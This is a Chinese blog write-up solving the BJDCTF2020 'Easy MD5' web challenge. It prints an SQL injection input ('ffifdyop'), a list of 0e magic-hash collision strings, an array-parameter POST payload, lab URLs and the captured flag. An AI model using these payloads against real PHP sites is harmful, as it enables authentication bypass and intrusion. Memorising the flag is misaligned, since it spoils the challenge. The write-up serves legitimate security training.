[BJDCTF2020]Easy MD5
1
https://github.com/BjdsecCA/BJDCTF2020
解法
一个简简单单的输入框。
<body>
<div class="container">
<div id="header">
</div><!-- /header end -->
<div class="main">
<section>
<form class="upload" action="leveldo4.php" method="GET">
<input type="text" id="name" name='password' class="in">
<input type="submit" class="give">
</form>
</section>
</div><!-- /main end -->
</div><!-- /container end -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
</body>
随便输入一些字符提交,什么也没有返回。尝试 SQL 注入,注入失败。
响应标头里发现 Hint。
select * from 'admin' where password=md5($pass,true)
输入一个特殊的值作为 password:
ffifdyop
经过 md5($pass,true) 加密后,变成:
276f722736c95d99e921722cf9ed621c
前几位会被解析为:
'or'6
从而实现 SQL 注入。
查看网页源代码。
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
span {
position: relative;
display: flex;
width: 100%;
height: 700px;
align-items: center;
font-size: 70px;
font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
justify-content: center;
}
</style>
</head>
<body>
<span>Do You Like MD5?</span>
</body>
</html>
发现注释里有信息。
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
弱类型比较,可以用 0e 绕过。0e 被解析为科学计数法,且0的任何正数次方都等于0。
找两个 MD5 值为 0e 开头的字符串作为参数:
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
访问:
http://4f073b00-e6c8-403c-bd45-1d693f9e89b3.node5.buuoj.cn:81/levels91.php?a=byGcY&b=sonZ7y
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
强类型比较,可以用数组绕过。因为 md5 函数无法处理数组类型,所以会返回 null,null === null。
用 hackbar 发送 POST 请求到:
http://4f073b00-e6c8-403c-bd45-1d693f9e89b3.node5.buuoj.cn:81/levell14.php
请求体:
param1[]=1¶m2[]=2
取得 flag。
Flag
flag{f2ca3378-1064-4455-8806-0d4039a3274e}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。